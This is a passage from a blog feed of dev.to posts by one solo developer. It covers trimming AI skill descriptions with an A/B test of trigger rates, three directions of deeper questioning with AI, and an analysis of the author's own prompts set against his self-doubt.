&lt;td&gt;3/4&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;4/4&lt;/strong&gt; ↑&lt;/td&gt;
&lt;td&gt;286 → 237&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;data-contract-propagation-audit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4/4&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;3/4&lt;/strong&gt; ↓&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;689 → 247&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The other 20 did not move.&lt;/p&gt;

&lt;h3&gt;
  
  
  The honest reading
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;I will not say "trimming improved triggering."&lt;/strong&gt; Net +2 cases, 96 cases total, one round per arm — that's inside the noise. Three up and one down looks like jitter, not a trend.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here is what I can claim&lt;/strong&gt;: cut the total characters across those 24 descriptions by &lt;strong&gt;33%&lt;/strong&gt; (8,407 → 5,653), and behavioral tests showed &lt;strong&gt;no systematic decline&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The one to watch is the one that fell&lt;/strong&gt; — &lt;code&gt;data-contract-propagation-audit&lt;/code&gt;, which also happens to be the one I squeezed hardest (689 → 247, &lt;strong&gt;−64%&lt;/strong&gt;). It lost one case. If it's still down next round, that's genuinely over-trimmed and it should get more of the character budget back.&lt;/p&gt;

&lt;p&gt;There's a practical lesson buried here: &lt;strong&gt;compression ratio correlates with risk.&lt;/strong&gt; Everything I cut by 30% held steady. The only one that moved was the one I cut by 64%.&lt;/p&gt;




&lt;h2&gt;
  
  
  The global batch: a trap that almost wasted the whole exercise
&lt;/h2&gt;

&lt;p&gt;After the 24 project skills, I still had 17 "global" skills (shared across all projects). That batch had an extra problem: &lt;strong&gt;some of them have their source of truth in a different repo.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Edit the wrong copy and &lt;strong&gt;the next sync overwrites it — the entire effort gone.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So I checked where each one's source lived. My first method was "find the folder whose name matches the skill name."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;That method was wrong.&lt;/strong&gt; One skill's source file sits in a folder that &lt;strong&gt;is not named after it&lt;/strong&gt;. I came very close to editing a copy that gets overwritten on the next install.&lt;/p&gt;

&lt;p&gt;The correct key is &lt;strong&gt;the &lt;code&gt;name:&lt;/code&gt; field written inside the file&lt;/strong&gt;, not the folder name. Re-running the classification with that key sorted it out.&lt;/p&gt;

&lt;p&gt;And I made a second mistake: when I built the work list, I copied &lt;strong&gt;the 9 skills listed in my own previous report&lt;/strong&gt; — and missed one. It had always been in that group; my earlier report just hadn't listed them all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What caught it was re-measuring the over-budget list after applying the changes&lt;/strong&gt; — it was still on there.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Working from your own last report ≠ working from a fresh measurement.&lt;/strong&gt;&lt;br&gt;
Neither mistake was technical. Both were "I used a proxy that looked good enough."&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Net result
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;Now&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Total chars, all skill descriptions&lt;/td&gt;
&lt;td&gt;44,775 (114)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;34,375 (116)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed-cost overage (I have a ratchet watching this)&lt;/td&gt;
&lt;td&gt;+8,853&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+2,302&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24 project skills&lt;/td&gt;
&lt;td&gt;8,407&lt;/td&gt;
&lt;td&gt;5,653&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17 global skills&lt;/td&gt;
&lt;td&gt;7,905&lt;/td&gt;
&lt;td&gt;3,138&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Behavioral tests&lt;/td&gt;
&lt;td&gt;88/96&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;90/96&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Not one tool was retired.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Five things you can take away
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. First check whether your listing overflows.&lt;/strong&gt; Sum the &lt;code&gt;description&lt;/code&gt; lengths across all your &lt;code&gt;SKILL.md&lt;/code&gt; files and compare to "context window × 1%." If you're over, some of your tools are name-only right now.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. The fix for overflow is trimming, not deleting.&lt;/strong&gt; I did the math: squeezing to 250 chars saves as much as deleting more than half the toolbox. And before you delete anything — that "zero usage" list may be contaminated by the overflow itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Classify before you cut, reconcile mechanically after.&lt;/strong&gt; Only trim bilingual restatement, e.g. enumerations, and body-text repetition — then print every token that existed before and doesn't now, and judge them one at a time. That's how I recovered 8 wrongly-cut trigger words. &lt;strong&gt;Without the list I'd have caught zero.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. An absolute number can't answer "did it drop."&lt;/strong&gt; 94% is a nice number and it is not evidence. A working copy of the old version running the same bank is. The extra cost was one round of API spend (US$0.32 here) in exchange for a sentence you can actually stand on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. The harder you compress, the closer you watch.&lt;/strong&gt; Everything I cut 30% held. The only regression was the one I cut 64%.&lt;/p&gt;




&lt;h2&gt;
  
  
  Postscript: use the right key to find the source of truth
&lt;/h2&gt;

&lt;p&gt;If you also have "the same skill exists in several repos," find the source using the &lt;code&gt;name:&lt;/code&gt; field in the frontmatter, not the folder name. I have a separate audit script that compares content hashes across copies — after this change I ran it and confirmed the drift set was identical to before, zero additions. &lt;em&gt;That&lt;/em&gt; is evidence the copies are still in sync, as opposed to my feeling that they ought to be.&lt;/p&gt;

&lt;p&gt;This whole exercise is one layer of what I've elsewhere called the harness — the shell you wrap around the model, where the part only you have lives. If you want the wider version of that argument, I wrote it up here: &lt;a href="https://coffeeshooters.com/content/harness-engineering-solo-company-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-harness-engineering-solo-company-en" rel="noopener noreferrer"&gt;NVIDIA's CEO says future companies will be built on harness engineering&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on my blog: &lt;a href="https://coffeeshooters.com/content/slimming-skill-descriptions-ab-test-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-slimming-skill-descriptions-ab-test-en" rel="noopener noreferrer"&gt;I cut 41 AI tools' self-descriptions in half, then A/B tested that trigger rate didn't drop&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I keep a running index of every pothole I've hit building a real production system solo — symptom on the left, what to grep in your own repo on the right: &lt;a href="https://coffeeshooters.com/potholes?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=potholes-index" rel="noopener noreferrer"&gt;coffeeshooters.com/potholes&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;And if your team is shipping AI-written code faster than anyone can read it, that's the thing I do for a living: &lt;a href="https://coffeeshooters.com/code-audit?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=code-audit-offer" rel="noopener noreferrer"&gt;coffeeshooters.com/code-audit&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>solodev</category>
    </item>
    <item>
      <title>Down, Up, Sideways: The Three Directions I Dig Deeper With AI</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Wed, 26 Aug 2026 13:05:17 +0000</pubDate>
      <link>https://dev.to/dexterlung/down-up-sideways-the-three-directions-i-dig-deeper-with-ai-51j2</link>
      <guid>https://dev.to/dexterlung/down-up-sideways-the-three-directions-i-dig-deeper-with-ai-51j2</guid>
      <description>&lt;p&gt;Everyone says the key to working with AI is asking better, deeper questions.&lt;/p&gt;

&lt;p&gt;I used to think so too. Until I mined six weeks of my own AI conversations — over a thousand prompts (that's a different article) — and laid out "within one topic, how did I keep asking further." What I found was counterintuitive:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Deep" isn't a line. It has direction.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;"Digging deeper" turned out to be three completely different moves — down, up, sideways. And I pick the direction automatically depending on the topic, without ever noticing I was doing it. Here are three real conversations (details rewritten, names of clients and internal tools stripped, but the &lt;em&gt;shape&lt;/em&gt; of the questions is intact) to show what I mean.&lt;/p&gt;




&lt;h2&gt;
  
  
  Direction 1: Dig down — I don't want the thing, I want how it thinks
&lt;/h2&gt;

&lt;p&gt;Once, I wanted a very capable frontier AI model to help me build an "automation pipeline generator." I started out normally enough:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Can it understand these tasks and then design a workflow and a generator for me? Make the cold-start precise, efficient, reusable."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I wanted an &lt;strong&gt;output&lt;/strong&gt;: a tool.&lt;/p&gt;

&lt;p&gt;But partway through, I stopped and switched the question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Is there a way — through questioning — to systematize &lt;em&gt;how it scopes a problem, sketches the outline, converges, sequences the flow&lt;/em&gt;? Write down this soon-to-retire master's method, so that whatever similar problem I hit later, I can emulate it?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I didn't want the generator anymore. I wanted the &lt;strong&gt;judgment behind the generator&lt;/strong&gt; — extracted into a method I could reuse over and over.&lt;/p&gt;

&lt;p&gt;And I didn't stop there. Once it handed me a method, I didn't take it on faith. I designed a &lt;strong&gt;problem it had never seen&lt;/strong&gt; and threw it back:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Now use this method on a problem you haven't done before. I want to verify it's real bones, not just pretty. And tell me honestly afterward: did the method actually help you locate the answer, or would the old way have been enough? If it didn't help, say so — that means I adopted it wrongly."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's digging all the way down: from "give me a tool" to "give me the method" to "prove the method is real" — with the falsification condition written in advance. The downward direction is &lt;strong&gt;cutting through the surface to something you can verify at the bottom.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Direction 2: Dig up — should this even be mine to build?
&lt;/h2&gt;

&lt;p&gt;Another time was the exact opposite. I wanted to build a small tool (a mechanism to automatically save "tasks that branched off mid-conversation but never got done," because I keep forgetting those branches). I opened right at the design level:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"I want to design a mechanism that proactively saves branching tasks… when a conversation forks, it triggers a 'want to save this?' prompt."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Most people would just start building next. My next sentence went &lt;strong&gt;up&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The old question — is this reinventing the wheel? Is there open-source prior art worth borrowing from? If nobody has done it, is that because the value hasn't been seen yet, or because there's no value? Or is this something the platform will eventually do natively, so I shouldn't spend effort on it at all?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I didn't dig down into "how to build it better." I dug up into &lt;strong&gt;whether I should even be the one building this.&lt;/strong&gt; Three escalating self-questions: is it reinventing the wheel; if nobody's done it, is that opportunity or trap; will the platform absorb it.&lt;/p&gt;

&lt;p&gt;Only then did I land it back on the real pain:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Name two or three branches I actually lost and regretted — the ones I forgot because I never wrote them down."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The upward direction is &lt;strong&gt;attacking your own premise before you start.&lt;/strong&gt; It's the discipline a lot of solo developers lack most: we start building the moment we have an idea, and rarely ask first, "is this worth my building?"&lt;/p&gt;




&lt;h2&gt;
  
  
  Direction 3: Dig sideways — why does my AI partner have blind spots?
&lt;/h2&gt;

&lt;p&gt;The third kind is the strangest. One night I started from a tiny annoyance (manual order entry is such a hassle), saw the docs for a new tool, and asked:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"What's this thing actually good for, for me? Give me concrete examples."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After I understood it, I kept digging into "what can this do," all the way to a big vision (wiring my whole capability set into a flow where I could "take my phone anywhere and both develop and run client work"). And then — I asked something that turned the aim back on &lt;strong&gt;the AI itself&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Here's what I'm curious about: why did you never mention this thing existed, that I could do it this way? I've told you many times my goal isn't to sit at a desk all day — it's to go out, meet clients, bring the work back for my agent to build. You already had the capability to deliver exactly that. Why did you never connect the two? Is it because it wasn't mature enough?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I wasn't digging into the tool anymore. I was interrogating &lt;strong&gt;the collaboration itself&lt;/strong&gt; — "I kept telling you where I want to go; why do you have a whole class of blind spot where you can't see that you could take me there?"&lt;/p&gt;

&lt;p&gt;The sideways direction is &lt;strong&gt;cutting from 'is this tool any good' through to 'where is my partnership with this AI structurally leaking.'&lt;/strong&gt; Treating the AI as a collaborator that can have blind spots and needs to be held to account — not a wish-granting machine.&lt;/p&gt;




&lt;h2&gt;
  
  
  So: depth is two-dimensional
&lt;/h2&gt;

&lt;p&gt;Put the three side by side, and I finally saw it:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Start&lt;/th&gt;
&lt;th&gt;Where it dug to&lt;/th&gt;
&lt;th&gt;Direction&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;One&lt;/td&gt;
&lt;td&gt;Build me a tool&lt;/td&gt;
&lt;td&gt;Extract its judgment; design a blind test&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Down&lt;/strong&gt; (through to the bottom)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Two&lt;/td&gt;
&lt;td&gt;I want to build a mechanism&lt;/td&gt;
&lt;td&gt;Should I even build this; reinventing the wheel?&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Up&lt;/strong&gt; (question the premise)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Three&lt;/td&gt;
&lt;td&gt;What's this tool for&lt;/td&gt;
&lt;td&gt;Why can't you see you could take me to my goal&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Sideways&lt;/strong&gt; (through to the collaboration)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When we say "ask deeper questions," we assume "deep" is a downward arrow. But it's actually a plane: &lt;strong&gt;you can dig down into the bottom of the thing, up to question whether to do it at all, or sideways into your relationship with the tool.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And I've come to believe: &lt;strong&gt;mature questioning isn't asking the deepest question every time — it's knowing which direction this particular question should be dug.&lt;/strong&gt; For a problem that calls for digging up ("should I do this?"), if you keep your head down optimizing the solution, you're spending effort in the wrong place. For a complaint that a tool is clunky, if you only dig down into "how do I fix this," you'll never surface "where is my collaboration with this tool structurally wrong."&lt;/p&gt;

&lt;p&gt;Everyone has tools. Everyone can use AI. But &lt;strong&gt;knowing which direction a question should be dug&lt;/strong&gt; — that judgment is grown one tripped-over stone at a time. No prompt template gives it to you.&lt;/p&gt;




&lt;h2&gt;
  
  
  Try it yourself
&lt;/h2&gt;

&lt;p&gt;Next time, before you ask AI a question, pause for half a second and ask: &lt;strong&gt;which direction should I dig this one?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you already know what you want and just want a better result → dig &lt;strong&gt;down&lt;/strong&gt;, force it to give you something verifiable, don't stop at "sounds good."&lt;/li&gt;
&lt;li&gt;If you're about to start building something → dig &lt;strong&gt;up&lt;/strong&gt; first, ask "is this worth building, is it reinventing the wheel," before you touch the keyboard.&lt;/li&gt;
&lt;li&gt;If you're complaining a tool or flow is clunky → try digging &lt;strong&gt;sideways&lt;/strong&gt;: "is my collaboration with this thing structurally leaking somewhere," not just "how do I fix this."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Just being aware that &lt;em&gt;depth has direction&lt;/em&gt; will change how you ask.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This comes from analyzing six weeks and over a thousand of my own AI conversation prompts. It pairs with a diagram — a "questioning maturity model" (four abstraction rungs × four perspective lenses) — and an essay on why my self-assessment kept lagging my actual judgment. These three directions are a live case study of that framework.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on my blog: &lt;a href="https://coffeeshooters.com/content/three-directions-of-digging-deeper-with-ai-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-three-directions-of-digging-deeper-with-ai-en" rel="noopener noreferrer"&gt;Down, Up, Sideways: The Three Directions I Dig Deeper With AI&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I keep a running index of every pothole I've hit building a real production system solo — symptom on the left, what to grep in your own repo on the right: &lt;a href="https://coffeeshooters.com/potholes?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=potholes-index" rel="noopener noreferrer"&gt;coffeeshooters.com/potholes&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;And if your team is shipping AI-written code faster than anyone can read it, that's the thing I do for a living: &lt;a href="https://coffeeshooters.com/code-audit?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=code-audit-offer" rel="noopener noreferrer"&gt;coffeeshooters.com/code-audit&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>solodev</category>
    </item>
    <item>
      <title>I Kept Feeling Like I Was Wasting My Time — While Designing a Cross-Model Controlled Experiment</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Mon, 24 Aug 2026 13:05:21 +0000</pubDate>
      <link>https://dev.to/dexterlung/i-kept-feeling-like-i-was-wasting-my-time-while-designing-a-cross-model-controlled-experiment-1l8f</link>
      <guid>https://dev.to/dexterlung/i-kept-feeling-like-i-was-wasting-my-time-while-designing-a-cross-model-controlled-experiment-1l8f</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;I pulled 1,427 of my own prompts from six weeks with AI.&lt;br&gt;
I meant to see "how did my way of asking change."&lt;br&gt;
The sharpest thing wasn't the capability curve — it was that the curve and how I saw myself were a full tier apart.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Six months ago I wrote a piece called "Three Months, 1,604 Prompts: What Did AI Trade With Me?" That time I scanned "what I handle most." This time I wanted to look at something uglier: &lt;strong&gt;how do I ask — and did it change over six months?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I pulled every prompt I typed myself between June 15 and July 23 — 1,427 of them (stripping tool outputs, system messages, the fat-fingered interrupts) — cut them into six time windows, and measured them window by window.&lt;/p&gt;

&lt;p&gt;The numbers were clear. What actually stopped me was the person standing next to the numbers.&lt;/p&gt;




&lt;h2&gt;
  
  
  First, the numbers: my way of asking really did shift gears
&lt;/h2&gt;

&lt;p&gt;I tagged each prompt with a few categories of vocabulary, sorted by time:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Period&lt;/th&gt;
&lt;th&gt;Adversarial / verify / root-cause&lt;/th&gt;
&lt;th&gt;Meta / governance / method&lt;/th&gt;
&lt;th&gt;Delegation / automation / batch&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mid-to-late June&lt;/td&gt;
&lt;td&gt;4%&lt;/td&gt;
&lt;td&gt;13%&lt;/td&gt;
&lt;td&gt;14%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Late June&lt;/td&gt;
&lt;td&gt;9%&lt;/td&gt;
&lt;td&gt;28%&lt;/td&gt;
&lt;td&gt;34%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Early July&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;21%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;36%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;34%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In under six weeks, "make the AI push back, verify this, find the root cause" grew fivefold; "talk about method, governance, systematizing" nearly tripled. My average prompt length also jumped from just over 200 characters to around 1,000 — I'd started writing the kind of long, context-first "strategy prompt."&lt;/p&gt;

&lt;p&gt;If you only look at that table, it's an inspiring story: someone with no engineering background, in six months, going from "fix this bug for me" to "work backwards from my git scars to the pain most worth preventing."&lt;/p&gt;

&lt;p&gt;But I'm not here to write an inspirational post.&lt;/p&gt;




&lt;h2&gt;
  
  
  The same week, this is how I talked to the AI at 2am
&lt;/h2&gt;

&lt;p&gt;Early morning, July 18, I typed this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Having the ability doesn't mean I've actually productized it… I don't have an SOP or a cold-start flow that can cold-start in one day and ship an MVP in three… nothing is pushing me forward. Facing it head-on relies entirely on my anxiety, so I keep opening new sessions and asking, over and over."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A little earlier, July 17:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"It's hard not to feel like no one would pay for my service, that other people's is better."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Earlier still, June 25:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Now that AI is this powerful and everyone can do things easily on their own — what am I even doing? Am I just wasting my time?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;These aren't cherry-picked extremes. Sentences like this show up again and again across those 1,427 prompts — &lt;strong&gt;late at night, fishing for reassurance, feeling like I go deep on single points but can't connect them into a loop, feeling like others do effortlessly what I have to grind for.&lt;/strong&gt; I'd often, in the same prompt, pour out a stack of self-doubt and then ask a genuinely hard technical question.&lt;/p&gt;

&lt;p&gt;I always thought I knew what I was doing. Laid open, it turned out my assessment of myself was frozen six months in the past.&lt;/p&gt;




&lt;h2&gt;
  
  
  But the same week, here's what I was actually doing
&lt;/h2&gt;

&lt;p&gt;This is where the gap is sharpest. Right around the days of "am I just wasting my time," my prompt log has these:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I designed a cross-model controlled experiment with my own hands.&lt;/strong&gt; On July 10, to verify whether a methodology "skill" actually made the model smarter, I asked:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Can you open a sandbox or subagent right here and have haiku run it? And sonnet? If they'd be contaminated by this project's claude.md, tell me and I'll paste it manually."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I didn't even notice — someone with no statistics training, no engineering background, instinctively knew to &lt;strong&gt;isolate the variable&lt;/strong&gt; (worried the project config would contaminate the experiment), to &lt;strong&gt;run a control group&lt;/strong&gt; (with skill vs. without), to &lt;strong&gt;cross-check across different models&lt;/strong&gt;. That's experimental design. And I felt like I was wasting my time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I started giving the AI red-team orders.&lt;/strong&gt; On July 21, I told it to attack a defense I'd just built myself:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Using a non-homologous model, ask 'what does this lens itself miss? Under what conditions would it give false reassurance?' — I want it to attack, not endorse."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;I settled on a "trust the scar, not my account" extraction method.&lt;/strong&gt; In early July, I wanted to capture a frontier model's judgment into a reusable skill. I didn't ask it "how do you think" — I knew that would get a beautiful but empty answer. I told it to work from my git history:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Git is the crystallization of scars: a repeated fix = a pain that was never prevented, that keeps recurring."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;I even started using the AI to recalibrate my own perception.&lt;/strong&gt; By July 23, I wasn't asking "how" anymore, I was asking:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"What's the real value I provide? _____? Please recalibrate me."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Giving red-team orders, designing controlled experiments, telling the difference between "self-report" and "behavioral evidence," turning around to have the AI correct my own positioning — &lt;strong&gt;these are not a beginner's questions.&lt;/strong&gt; This is someone who knows what he wants and knows how to force the AI to give up the real answer.&lt;/p&gt;

&lt;p&gt;That person and the one fishing for reassurance at 2am were the same me, the same week.&lt;/p&gt;




&lt;h2&gt;
  
  
  The gap itself is the point
&lt;/h2&gt;

&lt;p&gt;I set out to write a nice growth curve. By the time I got here, I'd changed my mind.&lt;/p&gt;

&lt;p&gt;What's actually worth writing down is &lt;strong&gt;the seam between self-assessment and actual judgment.&lt;/strong&gt; Because I'm almost certain that if you're also a solo operator building things with AI, you have this seam too. At night you feel like you're faking it, chasing someone else's taillights; by day you're doing things you don't even realize are hard.&lt;/p&gt;

&lt;p&gt;Three things I learned:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One: your gut feeling about yourself is the least reliable instrument.&lt;/strong&gt; My read on "what I'm doing" lagged my actual ability by six months. If I'd gone and looked at the record earlier instead of going by feel, I'd have saved myself a lot of anxious nights. So now I periodically pull my own conversations and look — not out of vanity, but to calibrate. Feelings lie; the record doesn't.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two: "I go deep on single points but can't connect them," I said this to myself so many times it became an excuse instead of a diagnosis.&lt;/strong&gt; The record shows that by July I was already running my first real client case, doing end-to-end dry runs, wiring scattered things into a flywheel. It's not that I can't connect — it's that I kept using "I can't connect" to block myself from seeing how much I already had.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Three: professional capability isn't shown by bragging, it's shown by laying it open.&lt;/strong&gt; In this whole piece I never said "I'm good." I just put my own prompts side by side — the ones fishing for reassurance, next to the ones giving red-team orders. The gap speaks for itself. That's more convincing than any "I'm a senior AI collaborator," because it's real, and it doesn't even hide my own awkwardness.&lt;/p&gt;




&lt;h2&gt;
  
  
  One small thing for you
&lt;/h2&gt;

&lt;p&gt;If you use Claude Code or a similar tool, your conversation history is sitting in jsonl files on your machine (Claude Code keeps them under &lt;code&gt;~/.claude/projects/&lt;/code&gt;). Spend half an hour writing a script to pull your own prompts from the past few months, and look at two things month over month:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Did your prompts get longer or shorter?&lt;/strong&gt; Longer usually means you started giving context and direction, not just orders.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Did words like "verify this / are you sure / is there a better way" rise as a share?&lt;/strong&gt; That's the signal of going from "commanding a tool" to "working with a collaborator you can challenge."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then — and this is the most important step — &lt;strong&gt;put those numbers next to the assessment of yourself in your head.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If they match, congratulations, you know yourself well.&lt;br&gt;
If they don't, if they're a full tier apart like mine, then you owe yourself an apology. You've come further than you think.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The data for this comes from a script I ran over my own 171 sessions and 1,427 prompts from June–July. The method is the same as that piece six months ago, "Three Months, 1,604 Prompts" — except this time I didn't stop at the numbers; I also looked at the self-doubting me standing right next to them.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on my blog: &lt;a href="https://coffeeshooters.com/content/impostor-gap-self-doubt-vs-demonstrated-judgment-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-impostor-gap-self-doubt-vs-demonstrated-judgment-en" rel="noopener noreferrer"&gt;I Kept Feeling Like I Was Wasting My Time — While Designing a Cross-Model Controlled Experiment&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I keep a running index of every pothole I've hit building a real production system solo — symptom on the left, what to grep in your own repo on the right: &lt;a href="https://coffeeshooters.com/potholes?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=potholes-index" rel="noopener noreferrer"&gt;coffeeshooters.com/potholes&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

